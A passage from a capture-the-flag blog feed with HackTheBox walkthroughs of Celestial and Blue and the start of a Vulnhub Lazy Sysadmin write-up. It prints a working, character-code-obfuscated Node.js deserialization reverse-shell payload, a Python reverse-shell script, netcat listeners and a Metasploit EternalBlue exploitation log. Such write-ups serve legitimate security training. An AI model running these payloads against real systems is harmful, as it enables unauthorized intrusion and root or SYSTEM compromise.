<em>Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D</em><br>
<em>Connection: close</em><br>
<em>Upgrade-Insecure-Requests: 1</em><br>
<em>If-None-Match: W/&#8221;c-8lfvj2TmiRRvB7K+JPws1w9h6aY&#8221;</em></p>
<p>Doing some research, it seems that NodeJS translates = symbols to %3D, Translating the string gives:</p>
<p><em>eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==</em></p>
<p>I think that&#8217;s base64 used to encode the string. Running it through <a href="https://gchq.github.io/CyberChef/">Cyberchef</a> gives me the following output:</p>
<p><em>{&#8220;username&#8221;:&#8221;Dummy&#8221;,&#8221;country&#8221;:&#8221;Idk Probably Somewhere Dumb&#8221;,&#8221;city&#8221;:&#8221;Lametown&#8221;,&#8221;num&#8221;:&#8221;2&#8243;}</em></p>
<p>Sounds like the server is allowing command execution. From the nmap, we know that the site is running NodeJS. Some research gave me the following clues on NodeJS security and reverse shells. <a href="https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/">It seems that NodeJS does allow for some RCE using deserialization</a>.</p>
<h1>Exploitation</h1>
<p>Looking around a bit, I found a reverse NodeJS shell code on Github that could work, <a href="https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py">after some tweaks</a>. I replaced the LHOST and LPORT with my current IP (10.10.x.x) and port (8081) on which I told netcat to wait for the shell using:</p>
<p>[bash]</p>
<p>nc -lnvp 8081</p>
<p>[/bash]</p>
<p>After making the changes to the payload, it generates a string to use:</p>
<p>[bash]</p>
<p>sudo python nodejsshell.py 10.10.14.28 8081<br>
[+] LHOST = 10.10.X.X<br>
[+] LPORT = 8081<br>
[+] Encoding<br>
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,50,56,34,59,10,80,79,82,84,61,34,56,48,56,49,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))</p>
<p>{&quot;rce&quot;:&quot;_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,50,56,34,59,10,80,79,82,84,61,34,56,48,56,49,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()&quot;}</p>
<p>[/bash]</p>
<p>Of course, this needs to be encoded with base64 to get a strings that this node version can execute.</p>
<p>Et voila, we have local user:</p>
<p>LOCAL USER INFO</p>
<h1>Privilege escalation</h1>
<p id="ef70" class="graf graf--p graf-after--h4">There is another file in the Documents folder, which is a script containing the following:</p>
<pre id="e8bd" class="graf graf--pre graf-after--pre">print "Script is running..."</pre>
<p id="adcd" class="graf graf--p graf-after--pre">I have seen these scripts before and often they lead to root. I changed the script so it would spawn a reverse shell:</p>
<div class="language-python highlighter-rouge">
<pre class="highlight"><code>
<span class="k">print</span> <span class="s">"Script is running..."</span>
<span class="k">print</span> <span class="s">"hey test"</span>
<span class="kn">import</span> <span class="nn">socket</span><span class="o">,</span><span class="nn">subprocess</span><span class="o">,</span><span class="nn">os</span>
<span class="n">s</span><span class="o">=</span><span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span><span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">s</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="s">"10.10.XX.XX"</span><span class="p">,</span><span class="mi">8181</span><span class="p">));</span><span class="n">os</span><span class="o">.</span><span class="n">dup2</span><span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">fileno</span><span class="p">(),</span><span class="mi">0</span><span class="p">)</span> 
<span class="n">os</span><span class="o">.</span><span class="n">dup2</span><span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">fileno</span><span class="p">(),</span><span class="mi">1</span><span class="p">);</span> <span class="n">os</span><span class="o">.</span><span class="n">dup2</span><span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">fileno</span><span class="p">(),</span><span class="mi">2</span><span class="p">)</span>
<span class="n">p</span><span class="o">=</span><span class="n">subprocess</span><span class="o">.</span><span class="n">call</span><span class="p">([</span><span class="s">"/bin/sh"</span><span class="p">,</span><span class="s">"-i"</span><span class="p">])</span></code></pre>
</div>
<figure id="8b46" class="graf graf--figure graf-after--p">
<div class="aspectRatioPlaceholder is-locked">Lets setup netcat to catch this sessions:</div>
</figure>
<div>
<pre class="highlight"><code>nc -lnvp 8181
listening on [any] 8181 ...
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.85] 46522
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
</code></pre>
</div>
<p>We are now root!</p>
<p>Alternatively, you can do the following.</p>
<p>I fire up <a href="https://github.com/jondonas/linux-exploit-suggester-2">Linux Exploit Suggester 2</a> to see if there are any obvious exploits to use. Normally this is a dead end, but you never know.</p>
<p>[bash]</p>
<p>./linux-exploit-suggester-2.pl</p>
<p>#############################<br>
Linux Exploit Suggester 2<br>
#############################</p>
<p>Local Kernel: 4.4.0<br>
Searching among 71 exploits&#8230;</p>
<p>Possible Exploits:<br>
[+] af_packet<br>
CVE-2016-8655<br>
Source: &lt;a href=&quot;https://www.exploit-db.com/exploits/40871/&quot;&gt;https://www.exploit-db.com/exploits/40871/&lt;/a&gt;<br>
[+] dirty_cow<br>
CVE-2016-5195<br>
Source: &lt;a href=&quot;https://www.exploit-db.com/exploits/40616/&quot;&gt;https://www.exploit-db.com/exploits/40616/&lt;/a&gt;</p>
<p>[/bash]</p>
<p>Wow! Dirty Cow vulnerability. Awesome, we can have root in no time. Make sure that you comment out the incorrect architecture and root is yours in no time. Make sure that you don&#8217;t take too much time after the exploit works, since it will probably crash the machine&#8230;</p>
<p>Box done.</p>
<p><iframe title="HackTheBox - Celestial" width="750" height="422" src="https://www.youtube.com/embed/aS6z4NgRysU?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></p>
<!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Blue - Hackthebox.eu]]></title><description><![CDATA[<!--kg-card-begin: html--><p>Being noted as one of the easiest boxes on Hackthebox, I never got around to doing it, since it was already archived when I first joined. It just re-entered circulation as a retired box, I still can get a crack at this one. Lets have a look!</p>
<h1>Enumeration</h1>
<p>I fired</p>]]></description><link>https://www.capturetheflags.com/blue-hackthebox-eu/</link><guid isPermaLink="false">602ed4610bcf7d000101077f</guid><category><![CDATA[blue]]></category><category><![CDATA[capturetheflag]]></category><category><![CDATA[ctf]]></category><category><![CDATA[eternal blue]]></category><category><![CDATA[information security]]></category><category><![CDATA[samba]]></category><category><![CDATA[walkthrough]]></category><category><![CDATA[writeup]]></category><dc:creator><![CDATA[FlagCapturer]]></dc:creator><pubDate>Wed, 04 Jul 2018 20:21:55 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: html--><p>Being noted as one of the easiest boxes on Hackthebox, I never got around to doing it, since it was already archived when I first joined. It just re-entered circulation as a retired box, I still can get a crack at this one. Lets have a look!</p>
<h1>Enumeration</h1>
<p>I fired up trusty nmap to get an understanding of the services running on the box:</p>
<p>[bash]</p>
<p>map -sC -sV -oA initial 10.10.10.40<br>
[sudo] password for wieger:<br>
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-04 18:27 UTC<br>
Nmap scan report for 10.10.10.40<br>
Host is up (0.026s latency).<br>
Not shown: 992 closed ports<br>
PORT STATE SERVICE VERSION<br>
135/tcp open msrpc Microsoft Windows RPC<br>
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)<br>
49152/tcp open msrpc Microsoft Windows RPC<br>
49153/tcp open msrpc Microsoft Windows RPC<br>
49154/tcp open msrpc Microsoft Windows RPC<br>
49155/tcp open msrpc Microsoft Windows RPC<br>
49156/tcp open msrpc Microsoft Windows RPC<br>
49157/tcp open msrpc Microsoft Windows RPC<br>
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows</p>
<p>Host script results:<br>
|_clock-skew: mean: -20m54s, deviation: 34m37s, median: -55s<br>
| smb-os-discovery:<br>
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)<br>
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional<br>
| Computer name: haris-PC<br>
| NetBIOS computer name: HARIS-PC\x00<br>
| Workgroup: WORKGROUP\x00<br>
|_ System time: 2018-07-04T19:27:29+01:00<br>
| smb-security-mode:<br>
| account_used: guest<br>
| authentication_level: user<br>
| challenge_response: supported<br>
|_ message_signing: disabled (dangerous, but default)<br>
| smb2-security-mode:<br>
| 2.02:<br>
|_ Message signing enabled but not required[/bash]</p>
<p>We see SMB running on this machine. Given that the name of the boxes are often hints on how to pwn the machine, this instantly made me think of EternalBlue, the now famous exploit that was part of the EQUATION GROUP leaks released by <a href="https://en.wikipedia.org/wiki/The_Shadow_Brokers">The Shadow Brokers</a> in 2017.  Let&#8217;s see how we can use nmap to find if the machine is vulnerable. For this, I use the</p>
<p>[bash]&#8211;script safe[/bash]</p>
<p>argument which fires all scripts at the machine that are classified <a href="https://nmap.org/nsedoc/categories/safe.html">as safe by nmap</a></p>
<p>[bash]</p>
<p>Nmap 7.70 scan initiated Wed Jul 4 18:34:49 2018 as: nmap &#8211;script safe -oA safescan 10.10.10.40<br>
Pre-scan script results:<br>
| broadcast-listener:<br>
| ether<br>
| udp<br>
| DHCP6<br>
| ip fqdn<br>
| fe80::185d:f891:e4f7:9751 WIN-IGHS2VQIQ6R.izokvanta.domain<br>
| fe80::a038:3bbf:9a10:ac20 WIN-RMHVPNAC33Q<br>
| fe80::a9c8:85d5:daf:4c0c WIN-HSQ1RC7LI04<br>
|_ fe80::64c8:df41:32e2:e464 servWin12.citicentre.ru<br>
|_broadcast-wpad-discover: Failed to retrieve wpad.dat (http://wpad.com/wpad.dat) from server<br>
|_eap-info: please specify an interface with -e<br>
| lltd-discovery:<br>
| 5.79.113.56<br>
| Hostname: WIN-PFJH6S97DIC<br>
| Mac: 06:1e:58:00:1f:89 (Unknown)<br>
| IPv6: fe80::e1b3:d3c6:70dc:3457<br>
| 5.79.113.57<br>
| Hostname: WIN-T1H804M6I84<br>
| Mac: 06:bc:0a:00:1f:8a (Unknown)<br>
| IPv6: 2001:1af8:4700:a134:7d53:3ce3:6ac6:16ab<br>
|_ Use the newtargets script-arg to add the results as targets<br>
| targets-asn:<br>
|_ targets-asn.asn is a mandatory parameter<br>
Nmap scan report for 10.10.10.40<br>
Host is up (0.031s latency).<br>
Not shown: 991 closed ports<br>
PORT STATE SERVICE<br>
135/tcp open msrpc<br>
139/tcp open netbios-ssn<br>
445/tcp open microsoft-ds<br>
49152/tcp open unknown<br>
49153/tcp open unknown<br>
49154/tcp open unknown<br>
49155/tcp open unknown<br>
49156/tcp open unknown<br>
49157/tcp open unknown</p>
<p>Host script results:<br>
|_clock-skew: mean: -20m53s, deviation: 34m36s, median: -55s<br>
|_fcrdns: FAIL (No PTR record)<br>
|_ipidseq: Unknown<br>
| msrpc-enum:<br>
|<br>
| uuid: d95afe70-a6d5-4259-822e-2c84da1ddb0d<br>
| tcp_port: 49152<br>
| ip_addr: 0.0.0.0<br>
|<br>
| ncalrpc: LRPC-8f4e4bf86bdde8982b<br>
| uuid: 906b0ce0-c70b-1067-b317-00dd010662da<br>
|<br>
| ncalrpc: LRPC-8f4e4bf86bdde8982b<br>
| uuid: 906b0ce0-c70b-1067-b317-00dd010662da<br>
|_smb-mbenum: Not a master or backup browser<br>
| smb-os-discovery:<br>
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)<br>
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional<br>
| Computer name: haris-PC<br>
| NetBIOS computer name: HARIS-PC\x00<br>
| Workgroup: WORKGROUP\x00<br>
|_ System time: 2018-07-04T19:34:41+01:00<br>
| smb-protocols:<br>
| dialects:<br>
| NT LM 0.12 (SMBv1) [dangerous, but default]<br>
| 2.02<br>
|_ 2.10<br>
| smb-security-mode:<br>
| account_used: guest<br>
| authentication_level: user<br>
| challenge_response: supported<br>
|_ message_signing: disabled (dangerous, but default)<br>
| smb-vuln-ms17-010:<br>
| VULNERABLE:<br>
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)<br>
| State: VULNERABLE<br>
| IDs: CVE:CVE-2017-0143<br>
| Risk factor: HIGH<br>
| A critical remote code execution vulnerability exists in Microsoft SMBv1<br>
| servers (ms17-010).<br>
|<br>
| Disclosure date: 2017-03-14<br>
| References:<br>
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/<br>
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx<br>
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143<br>
| smb2-capabilities:<br>
| 2.02:<br>
| Distributed File System<br>
| 2.10:<br>
| Distributed File System<br>
| Leasing<br>
|_ Multi-credit operations<br>
| smb2-security-mode:<br>
| 2.02:<br>
|_ Message signing enabled but not required<br>
| smb2-time:<br>
| date: 2018-07-04 18:34:40<br>
|_ start_date: 2018-07-02 00:56:44<br>
| unusual-port:<br>
|_ WARNING: this script depends on Nmap&#8217;s service/version detection (-sV)</p>
<p>Post-scan script results:<br>
| reverse-index:<br>
| 135/tcp: 10.10.10.40<br>
| 139/tcp: 10.10.10.40<br>
| 445/tcp: 10.10.10.40<br>
| 49152/tcp: 10.10.10.40<br>
| 49153/tcp: 10.10.10.40<br>
| 49154/tcp: 10.10.10.40<br>
| 49155/tcp: 10.10.10.40<br>
| 49156/tcp: 10.10.10.40<br>
|_ 49157/tcp: 10.10.10.40[/bash]</p>
<p>I trimmed the log somewhat, but there it states that the service is vulnerable for exploit linked to ms17-010. We can achieve the same thing with Metasploit and the auxiliary/scanner/smb/smb_msf17_010 scanner:</p>
<p>[bash]msf auxiliary(scanner/smb/smb_ms17_010) &gt; set RHOSTS 10.10.10.40<br>
RHOSTS =&gt; 10.10.10.40<br>
msf auxiliary(scanner/smb/smb_ms17_010) &gt; run</p>
<p>[+] 10.10.10.40:445 &#8211; Host is likely VULNERABLE to MS17-010! &#8211; Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)[/bash]</p>
<h1>Exploitation</h1>
<p>I used the exploit/windows/smb/ms17_010_eternalblue module of Metasploit for this. I set the RHOST to the Blue machine IP, set LHOST to tun0 (my Hackthebox VPN interface) and payload /windows/x64/shell/reverse_tcp. It fails a couple of times, but in the end I get a shell.</p>
<p>[bash]</p>
<p>[*] Started reverse TCP handler on 10.10.14.28:4444<br>
[*] 10.10.10.40:445 &#8211; Connecting to target for exploitation.<br>
[+] 10.10.10.40:445 &#8211; Connection established for exploitation.<br>
[+] 10.10.10.40:445 &#8211; Target OS selected valid for OS indicated by SMB reply<br>
[*] 10.10.10.40:445 &#8211; CORE raw buffer dump (42 bytes)<br>
[*] 10.10.10.40:445 &#8211; 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes<br>
[*] 10.10.10.40:445 &#8211; 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv<br>
[*] 10.10.10.40:445 &#8211; 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1<br>
[+] 10.10.10.40:445 &#8211; Target arch selected valid for arch indicated by DCE/RPC reply<br>
[*] 10.10.10.40:445 &#8211; Trying exploit with 12 Groom Allocations.<br>
[*] 10.10.10.40:445 &#8211; Sending all but last fragment of exploit packet<br>
[*] 10.10.10.40:445 &#8211; Starting non-paged pool grooming<br>
[+] 10.10.10.40:445 &#8211; Sending SMBv2 buffers<br>
[+] 10.10.10.40:445 &#8211; Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.<br>
[*] 10.10.10.40:445 &#8211; Sending final SMBv2 buffers.<br>
[*] 10.10.10.40:445 &#8211; Sending last fragment of exploit packet!<br>
[*] 10.10.10.40:445 &#8211; Receiving response from exploit packet<br>
[+] 10.10.10.40:445 &#8211; ETERNALBLUE overwrite completed successfully (0xC000000D)!<br>
[*] 10.10.10.40:445 &#8211; Sending egg to corrupted connection.<br>
[*] 10.10.10.40:445 &#8211; Triggering free of corrupted buffer.<br>
[-] 10.10.10.40:445 &#8211; =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br>
[-] 10.10.10.40:445 &#8211; =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br>
[-] 10.10.10.40:445 &#8211; =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br>
[*] 10.10.10.40:445 &#8211; Connecting to target for exploitation.<br>
[+] 10.10.10.40:445 &#8211; Connection established for exploitation.<br>
[+] 10.10.10.40:445 &#8211; Target OS selected valid for OS indicated by SMB reply<br>
[*] 10.10.10.40:445 &#8211; CORE raw buffer dump (42 bytes)<br>
[*] 10.10.10.40:445 &#8211; 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes<br>
[*] 10.10.10.40:445 &#8211; 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv<br>
[*] 10.10.10.40:445 &#8211; 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1<br>
[+] 10.10.10.40:445 &#8211; Target arch selected valid for arch indicated by DCE/RPC reply<br>
[*] 10.10.10.40:445 &#8211; Trying exploit with 17 Groom Allocations.<br>
[*] 10.10.10.40:445 &#8211; Sending all but last fragment of exploit packet<br>
[*] 10.10.10.40:445 &#8211; Starting non-paged pool grooming<br>
[+] 10.10.10.40:445 &#8211; Sending SMBv2 buffers<br>
[+] 10.10.10.40:445 &#8211; Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.<br>
[*] 10.10.10.40:445 &#8211; Sending final SMBv2 buffers.<br>
[*] 10.10.10.40:445 &#8211; Sending last fragment of exploit packet!<br>
[*] 10.10.10.40:445 &#8211; Receiving response from exploit packet<br>
[+] 10.10.10.40:445 &#8211; ETERNALBLUE overwrite completed successfully (0xC000000D)!<br>
[*] 10.10.10.40:445 &#8211; Sending egg to corrupted connection.<br>
[*] 10.10.10.40:445 &#8211; Triggering free of corrupted buffer.</p>
<p>*] Sending stage (336 bytes) to 10.10.10.40<br>
[*] Command shell session 1 opened (10.10.14.28:4444 -&gt; 10.10.10.40:49158) at 2018-07-04 22:08:25 +0200<br>
[+] 10.10.10.40:445 &#8211; =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br>
[+] 10.10.10.40:445 &#8211; =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br>
[+] 10.10.10.40:445 &#8211; =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=</p>
<p>Microsoft Windows [Version 6.1.7601]<br>
Copyright (c) 2009 Microsoft Corporation. All rights reserved.</p>
<p>C:\Windows\system32&gt;</p>
<p>[/bash]</p>
<h1>Privilege escalation</h1>
<p>None needed:</p>
<p>[bash]</p>
<p>Microsoft Windows [Version 6.1.7601]<br>
Copyright (c) 2009 Microsoft Corporation. All rights reserved.</p>
<p>C:\Windows\system32&gt;whoami<br>
whoami<br>
nt authority\system</p>
<p>[/bash]</p>
<p>Go to</p>
<p>[bash]C:\Users\haris\Desktop[/bash]</p>
<p>for the user key and</p>
<p>[bash]C:\Users\Administrator\Desktop[/bash]</p>
<p>for the root key.</p>
<!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Lazy Sysadmin 1 - Vulnhub]]></title><description><![CDATA[<!--kg-card-begin: html--><p>One of the boxes that started me on my journey into CTF&#8217;s. Strictly a beginners box, this one can be done without an intermediate techniques, such as reverse shells. The box can be found on <a href="https://www.vulnhub.com/entry/lazysysadmin-1,205/">Vulnhub</a>. Let&#8217;s get started.</p>
<h1>Enumeration</h1>
<p>[bash]nmap -n -sC -sV -p-</p>]]></description><link>https://www.capturetheflags.com/vulnhub-lazy-sysadmin-1/</link><guid isPermaLink="false">602ed4610bcf7d000101077e</guid><category><![CDATA[capturetheflag]]></category><category><![CDATA[ctf]]></category><category><![CDATA[information security]]></category><category><![CDATA[lazyadmin]]></category><category><![CDATA[vulnhub]]></category><category><![CDATA[walkthrough]]></category><category><![CDATA[writeup]]></category><dc:creator><![CDATA[FlagCapturer]]></dc:creator><pubDate>Sat, 30 Jun 2018 18:47:43 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: html--><p>One of the boxes that started me on my journey into CTF&#8217;s. Strictly a beginners box, this one can be done without an intermediate techniques, such as reverse shells. The box can be found on <a href="https://www.vulnhub.com/entry/lazysysadmin-1,205/">Vulnhub</a>. Let&#8217;s get started.</p>
<h1>Enumeration</h1>
<p>[bash]nmap -n -sC -sV -p- -oA initial-nmap 192.168.56.101<br>
Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-27 20:19 CEST<br>
Nmap scan report for 192.168.56.101<br>
Host is up (0.00012s latency).<br>
Not shown: 65529 closed ports<br>
PORT STATE SERVICE VERSION<br>
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)<br>
| ssh-hostkey:<br>
| 1024 b5:38:66:0f:a1:ee:cd:41:69:3b:82:cf:ad:a1:f7:13 (DSA)<br>
| 2048 58:5a:63:69:d0:da:dd:51:cc:c1:6e:00:fd:7e:61:d0 (RSA)<br>
| 256 61:30:f3:55:1a:0d:de:c8:6a:59:5b:c9:9c:b4:92:04 (ECDSA)<br>
|_ 256 1f:65:c0:dd:15:e6:e4:21:f2:c1:9b:a3:b6:55:a0:45 (ED25519)<br>
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))<br>
|_http-generator: Silex v2.2.7<br>
| http-robots.txt: 4 disallowed entries<br>
|_/old/ /test/ /TR2/ /Backnode_files/<br>
|_http-server-header: Apache/2.4.7 (Ubuntu)<br>
|_http-title: Backnode<br>
139/tcp open netbios-ssn Samba smbd 3.X &#8211; 4.X (workgroup: WORKGROUP)<br>
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)<br>
3306/tcp open mysql MySQL (unauthorized)<br>
6667/tcp open irc InspIRCd<br>
| irc-info:<br>
| server: Admin.local<br>
| users: 1<br>
| servers: 1<br>
| chans: 0<br>
| lusers: 1<br>
| lservers: 0<br>
| source ident: nmap<br>
| source host: 192.168.56.102<br>
|_ error: Closing link: (nmap@192.168.56.102) [Client exited]<br>
MAC Address: 08:00:27:0D:C3:62 (Oracle VirtualBox virtual NIC)<br>
Service Info: Hosts: LAZYSYSADMIN, Admin.local; OS: Linux; CPE: cpe:/o:linux:linux_kernel&amp;lt;/pre&amp;gt;<br>
Host script results:<br>
|_clock-skew: mean: -1h20m00s, deviation: 5h46m24s, median: 1h59m58s<br>
|_nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: &amp;amp;lt;unknown&amp;amp;gt;, NetBIOS MAC: &amp;amp;lt;unknown&amp;amp;gt; (unknown)<br>
| smb-os-discovery:<br>
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)<br>
| Computer name: lazysysadmin<br>
| NetBIOS computer name: LAZYSYSADMIN\x00<br>
| Domain name: \x00<br>
| FQDN: lazysysadmin<br>
|_ System time: 2018-06-28T06:19:52+10:00<br>
| smb-security-mode:<br>
| account_used: guest<br>
| authentication_level: user<br>
| challenge_response: supported<br>
